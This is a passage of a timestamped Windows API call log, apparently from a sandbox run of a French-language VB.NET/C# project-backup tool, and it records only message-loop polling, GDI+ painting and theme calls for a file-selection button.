(graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0107.312] BitBlt (hdc=0x3010821, x=0, y=0, cx=163, cy=29, hdcSrc=0x460107d6, x1=0, y1=0, rop=0xcc0020) returned 1 [0107.312] GdipReleaseDC (graphics=0x4c358c0, hdc=0x460107d6) returned 0x0 [0107.312] SelectPalette (hdc=0x3010821, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0107.312] SelectObject (hdc=0x460107d6, h=0x185000f) returned 0x70050254 [0107.312] DeleteDC (hdc=0x460107d6) returned 1 [0107.312] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0107.312] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0107.312] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0107.312] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0107.312] WaitMessage () returned 1 [0107.397] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0107.397] IsWindowUnicode (hWnd=0x201d6) returned 1 [0107.397] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0107.397] TranslateMessage (lpMsg=0x32f158) returned 0 [0107.397] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0107.397] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0107.442] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0107.442] WaitMessage () returned 1 [0107.598] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0107.598] IsWindowUnicode (hWnd=0x201d8) returned 1 [0107.598] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0107.599] TranslateMessage (lpMsg=0x32f158) returned 0 [0107.599] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0107.599] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0107.599] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0107.599] WaitMessage () returned 1 [0112.936] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0112.936] IsWindowUnicode (hWnd=0x201e4) returned 1 [0112.936] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0112.936] GetKeyState (nVirtKey=16) returned 0 [0112.936] GetKeyState (nVirtKey=17) returned 0 [0112.936] GetKeyState (nVirtKey=18) returned -127 [0112.936] SendMessageW (hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0112.936] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0112.936] GetKeyState (nVirtKey=16) returned 0 [0112.936] GetKeyState (nVirtKey=17) returned 0 [0112.936] GetKeyState (nVirtKey=18) returned -127 [0112.936] TranslateMessage (lpMsg=0x32f158) returned 1 [0112.936] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0112.936] GetKeyState (nVirtKey=16) returned 0 [0112.936] GetKeyState (nVirtKey=17) returned 0 [0112.936] GetKeyState (nVirtKey=18) returned -127 [0112.936] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0112.936] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0112.936] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0112.936] WaitMessage () returned 1 [0112.947] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0112.947] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0112.947] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0112.947] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0112.957] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0112.957] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0112.957] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0112.957] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0112.957] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0112.958] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0112.958] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0112.964] NtdllDefWindowProc_W () returned 0x0 [0112.964] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0112.964] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0112.964] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0112.965] GetCapture () returned 0x0 [0112.965] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0112.971] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0112.971] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0112.971] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0112.971] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0112.971] IsWindowUnicode (hWnd=0x201e4) returned 1 [0112.971] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0112.971] TranslateMessage (lpMsg=0x32f158) returned 0 [0112.971] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0112.971] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x12010815 [0112.971] SelectPalette (hdc=0x12010815, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0112.972] CreateCompatibleDC (hdc=0x12010815) returned 0x2d01084c [0112.972] SelectObject (hdc=0x2d01084c, h=0x70050254) returned 0x185000f [0112.972] GdipCreateFromHDC (hdc=0x2d01084c, graphics=0x32ec54) returned 0x0 [0112.972] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0112.972] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0112.972] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0112.972] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0112.972] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0112.972] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0112.972] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61ce8) returned 0x0 [0112.972] LocalFree (hMem=0x4e61ce8) returned 0x0 [0112.972] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0112.972] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0112.972] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0112.972] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0112.972] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0112.972] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd910dbd) returned 0x0 [0112.972] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0112.972] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0112.972] GetCurrentObject (hdc=0x2d01084c, type=0x1) returned 0x1b00017 [0112.972] GetCurrentObject (hdc=0x2d01084c, type=0x2) returned 0x1900010 [0112.972] GetCurrentObject (hdc=0x2d01084c, type=0x7) returned 0x70050254 [0112.972] GetCurrentObject (hdc=0x2d01084c, type=0x6) returned 0x18a002e [0112.972] SaveDC (hdc=0x2d01084c) returned 1 [0112.972] GetNearestColor (hdc=0x2d01084c, color=0xf0f0f0) returned 0xf0f0f0 [0112.973] GetNearestColor (hdc=0x2d01084c, color=0xa0a0a0) returned 0xa0a0a0 [0112.973] GetNearestColor (hdc=0x2d01084c, color=0x696969) returned 0x696969 [0112.973] GetNearestColor (hdc=0x2d01084c, color=0xa0a0a0) returned 0xa0a0a0 [0112.973] GetNearestColor (hdc=0x2d01084c, color=0x0) returned 0x0 [0112.973] GetNearestColor (hdc=0x2d01084c, color=0xffffff) returned 0xffffff [0112.973] GetNearestColor (hdc=0x2d01084c, color=0xe5e5e5) returned 0xe5e5e5 [0112.973] GetNearestColor (hdc=0x2d01084c, color=0xd7d7d7) returned 0xd7d7d7 [0112.973] GetNearestColor (hdc=0x2d01084c, color=0x0) returned 0x0 [0112.973] RestoreDC (hdc=0x2d01084c, nSavedDC=-1) returned 1 [0112.973] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d01084c) returned 0x0 [0112.973] IsAppThemed () returned 0x1 [0112.973] GetThemeAppProperties () returned 0x3 [0112.973] GetThemeAppProperties () returned 0x3 [0112.973] IsAppThemed () returned 0x1 [0112.973] GetThemeAppProperties () returned 0x3 [0112.973] GetThemeAppProperties () returned 0x3 [0112.973] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x26ea92c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0112.973] IsAppThemed () returned 0x1 [0112.973] GetThemeAppProperties () returned 0x3 [0112.973] GetThemeAppProperties () returned 0x3 [0112.973] IsAppThemed () returned 0x1 [0112.973] GetThemeAppProperties () returned 0x3 [0112.973] GetThemeAppProperties () returned 0x3 [0112.973] GetFocus () returned 0x0 [0112.973] IsAppThemed () returned 0x1 [0112.973] GetThemeAppProperties () returned 0x3 [0112.973] GetThemeAppProperties () returned 0x3 [0112.973] IsAppThemed () returned 0x1 [0112.974] GetThemeAppProperties () returned 0x3 [0112.974] GetThemeAppProperties () returned 0x3 [0112.974] IsThemePartDefined () returned 0x1 [0112.974] IsAppThemed () returned 0x1 [0112.974] GetThemeAppProperties () returned 0x3 [0112.974] GetThemeAppProperties () returned 0x3 [0112.974] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0112.974] IsAppThemed () returned 0x1 [0112.974] GetThemeAppProperties () returned 0x3 [0112.974] GetThemeAppProperties () returned 0x3 [0112.974] IsAppThemed () returned 0x1 [0112.974] GetThemeAppProperties () returned 0x3 [0112.974] GetThemeAppProperties () returned 0x3 [0112.974] IsThemePartDefined () returned 0x1 [0112.974] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0112.974] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0112.974] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0112.974] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0112.974] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0112.974] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0112.974] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0112.974] LocalFree (hMem=0x4e61ce8) returned 0x0 [0112.974] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0112.974] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0112.974] LocalFree (hMem=0x4e61ce8) returned 0x0 [0112.974] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0112.974] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0112.974] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0112.974] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0112.975] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0112.975] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0112.975] GetCurrentObject (hdc=0x2d01084c, type=0x1) returned 0x1b00017 [0112.975] GetCurrentObject (hdc=0x2d01084c, type=0x2) returned 0x1900010 [0112.975] GetCurrentObject (hdc=0x2d01084c, type=0x7) returned 0x70050254 [0112.975] GetCurrentObject (hdc=0x2d01084c, type=0x6) returned 0x18a002e [0112.975] SaveDC (hdc=0x2d01084c) returned 1 [0112.975] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5e040850 [0112.975] GetClipRgn (hdc=0x2d01084c, hrgn=0x5e040850) returned 0 [0112.975] SelectClipRgn (hdc=0x2d01084c, hrgn=0x650401e3) returned 2 [0112.975] DeleteObject (ho=0x5e040850) returned 1 [0112.975] DeleteObject (ho=0x650401e3) returned 1 [0112.975] OffsetViewportOrgEx (in: hdc=0x2d01084c, x=0, y=0, lppt=0x26eafdc | out: lppt=0x26eafdc) returned 1 [0112.975] DrawThemeParentBackground () returned 0x0 [0112.975] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0112.975] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0112.975] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0112.975] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0112.975] GetSystemMetrics (nIndex=42) returned 0 [0112.975] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0112.975] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0112.976] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0112.976] GetCurrentObject (hdc=0x2d01084c, type=0x1) returned 0x1b00017 [0112.976] GetCurrentObject (hdc=0x2d01084c, type=0x2) returned 0x1900010 [0112.976] GetCurrentObject (hdc=0x2d01084c, type=0x7) returned 0x70050254 [0112.976] GetCurrentObject (hdc=0x2d01084c, type=0x6) returned 0x18a002e [0112.976] SaveDC (hdc=0x2d01084c) returned 2 [0112.976] GetNearestColor (hdc=0x2d01084c, color=0xf0f0f0) returned 0xf0f0f0 [0112.976] CreateSolidBrush (color=0xf0f0f0) returned 0x2410084d [0112.976] FillRect (hDC=0x2d01084c, lprc=0x32e4d4, hbr=0x2410084d) returned 1 [0112.976] DeleteObject (ho=0x2410084d) returned 1 [0112.976] RestoreDC (hdc=0x2d01084c, nSavedDC=-1) returned 1 [0112.976] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0112.976] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0112.976] GetSystemMetrics (nIndex=42) returned 0 [0112.976] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0112.976] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0112.976] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0112.976] GetCurrentObject (hdc=0x2d01084c, type=0x1) returned 0x1b00017 [0112.977] GetCurrentObject (hdc=0x2d01084c, type=0x2) returned 0x1900010 [0112.977] GetCurrentObject (hdc=0x2d01084c, type=0x7) returned 0x70050254 [0112.977] GetCurrentObject (hdc=0x2d01084c, type=0x6) returned 0x18a002e [0112.977] SaveDC (hdc=0x2d01084c) returned 2 [0112.977] GetNearestColor (hdc=0x2d01084c, color=0xf0f0f0) returned 0xf0f0f0 [0112.977] CreateSolidBrush (color=0xf0f0f0) returned 0x2510084d [0112.977] FillRect (hDC=0x2d01084c, lprc=0x32e474, hbr=0x2510084d) returned 1 [0112.977] DeleteObject (ho=0x2510084d) returned 1 [0112.977] RestoreDC (hdc=0x2d01084c, nSavedDC=-1) returned 1 [0112.977] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0112.977] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0112.977] GetSystemMetrics (nIndex=42) returned 0 [0112.977] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0112.977] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0112.977] RestoreDC (hdc=0x2d01084c, nSavedDC=-1) returned 1 [0112.977] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d01084c) returned 0x0 [0112.977] IsAppThemed () returned 0x1 [0112.977] GetThemeAppProperties () returned 0x3 [0112.977] GetThemeAppProperties () returned 0x3 [0112.977] IsAppThemed () returned 0x1 [0112.977] GetThemeAppProperties () returned 0x3 [0112.977] GetThemeAppProperties () returned 0x3 [0112.977] IsThemePartDefined () returned 0x1 [0112.977] GdipCreateRegion (region=0x32e968) returned 0x0 [0112.977] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0112.977] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0112.978] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0112.978] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0112.978] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0112.978] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61ce8) returned 0x0 [0112.978] LocalFree (hMem=0x4e61ce8) returned 0x0 [0112.978] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0112.978] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61ce8) returned 0x0 [0112.978] LocalFree (hMem=0x4e61ce8) returned 0x0 [0112.978] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0112.978] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0112.978] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0112.978] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0112.978] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0112.978] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0112.978] GetCurrentObject (hdc=0x2d01084c, type=0x1) returned 0x1b00017 [0112.978] GetCurrentObject (hdc=0x2d01084c, type=0x2) returned 0x1900010 [0112.978] GetCurrentObject (hdc=0x2d01084c, type=0x7) returned 0x70050254 [0112.978] GetCurrentObject (hdc=0x2d01084c, type=0x6) returned 0x18a002e [0112.978] SaveDC (hdc=0x2d01084c) returned 1 [0112.978] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x660401e3 [0112.978] GetClipRgn (hdc=0x2d01084c, hrgn=0x660401e3) returned 0 [0112.978] SelectClipRgn (hdc=0x2d01084c, hrgn=0x60040850) returned 2 [0112.978] DeleteObject (ho=0x660401e3) returned 1 [0112.979] DeleteObject (ho=0x60040850) returned 1 [0112.979] OffsetViewportOrgEx (in: hdc=0x2d01084c, x=0, y=0, lppt=0x26eba14 | out: lppt=0x26eba14) returned 1 [0112.979] IsAppThemed () returned 0x1 [0112.979] GetThemeAppProperties () returned 0x3 [0112.979] GetThemeAppProperties () returned 0x3 [0112.979] DrawThemeBackground () returned 0x0 [0112.979] RestoreDC (hdc=0x2d01084c, nSavedDC=-1) returned 1 [0112.979] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d01084c) returned 0x0 [0112.979] GdipCreateRegion (region=0x32e950) returned 0x0 [0112.979] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0112.979] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0112.979] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0112.979] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0112.979] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0112.979] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0112.979] LocalFree (hMem=0x4e61ce8) returned 0x0 [0112.979] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0112.979] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0112.979] LocalFree (hMem=0x4e61ce8) returned 0x0 [0112.979] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0112.979] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0112.979] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0112.979] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0112.979] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0112.979] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0112.979] GetCurrentObject (hdc=0x2d01084c, type=0x1) returned 0x1b00017 [0112.979] GetCurrentObject (hdc=0x2d01084c, type=0x2) returned 0x1900010 [0112.980] GetCurrentObject (hdc=0x2d01084c, type=0x7) returned 0x70050254 [0112.980] GetCurrentObject (hdc=0x2d01084c, type=0x6) returned 0x18a002e [0112.980] SaveDC (hdc=0x2d01084c) returned 1 [0112.980] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x61040850 [0112.980] GetClipRgn (hdc=0x2d01084c, hrgn=0x61040850) returned 0 [0112.980] SelectClipRgn (hdc=0x2d01084c, hrgn=0x670401e3) returned 2 [0112.980] DeleteObject (ho=0x61040850) returned 1 [0112.980] DeleteObject (ho=0x670401e3) returned 1 [0112.980] OffsetViewportOrgEx (in: hdc=0x2d01084c, x=0, y=0, lppt=0x26ebce8 | out: lppt=0x26ebce8) returned 1 [0112.980] IsAppThemed () returned 0x1 [0112.980] GetThemeAppProperties () returned 0x3 [0112.980] GetThemeAppProperties () returned 0x3 [0112.980] GetThemeBackgroundContentRect () returned 0x0 [0112.980] RestoreDC (hdc=0x2d01084c, nSavedDC=-1) returned 1 [0112.980] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d01084c) returned 0x0 [0112.980] IsAppThemed () returned 0x1 [0112.980] GetThemeAppProperties () returned 0x3 [0112.980] GetThemeAppProperties () returned 0x3 [0112.980] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0112.980] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0112.998] GetCurrentObject (hdc=0x2d01084c, type=0x1) returned 0x1b00017 [0112.998] GetCurrentObject (hdc=0x2d01084c, type=0x2) returned 0x1900010 [0112.998] GetCurrentObject (hdc=0x2d01084c, type=0x7) returned 0x70050254 [0112.999] GetCurrentObject (hdc=0x2d01084c, type=0x6) returned 0x18a002e [0112.999] SaveDC (hdc=0x2d01084c) returned 1 [0112.999] GetTextAlign (hdc=0x2d01084c) returned 0x0 [0112.999] GetTextColor (hdc=0x2d01084c) returned 0x0 [0112.999] GetCurrentObject (hdc=0x2d01084c, type=0x6) returned 0x18a002e [0112.999] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0112.999] SelectObject (hdc=0x2d01084c, h=0x100a0252) returned 0x18a002e [0112.999] GetBkMode (hdc=0x2d01084c) returned 2 [0112.999] SetBkMode (hdc=0x2d01084c, mode=1) returned 2 [0112.999] DrawTextExW (in: hdc=0x2d01084c, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x26ec07c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0112.999] DrawTextExW (in: hdc=0x2d01084c, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x26ec07c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0112.999] RestoreDC (hdc=0x2d01084c, nSavedDC=-1) returned 1 [0112.999] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d01084c) returned 0x0 [0112.999] GetFocus () returned 0x0 [0112.999] IsAppThemed () returned 0x1 [0112.999] GetThemeAppProperties () returned 0x3 [0112.999] GetThemeAppProperties () returned 0x3 [0112.999] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0113.000] BitBlt (hdc=0x12010815, x=0, y=0, cx=163, cy=29, hdcSrc=0x2d01084c, x1=0, y1=0, rop=0xcc0020) returned 1 [0113.001] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d01084c) returned 0x0 [0113.001] SelectPalette (hdc=0x12010815, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0113.001] SelectObject (hdc=0x2d01084c, h=0x185000f) returned 0x70050254 [0113.001] DeleteDC (hdc=0x2d01084c) returned 1 [0113.001] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0113.001] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0113.001] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0113.001] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0113.001] WaitMessage () returned 1 [0113.420] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0113.420] IsWindowUnicode (hWnd=0x201d6) returned 1 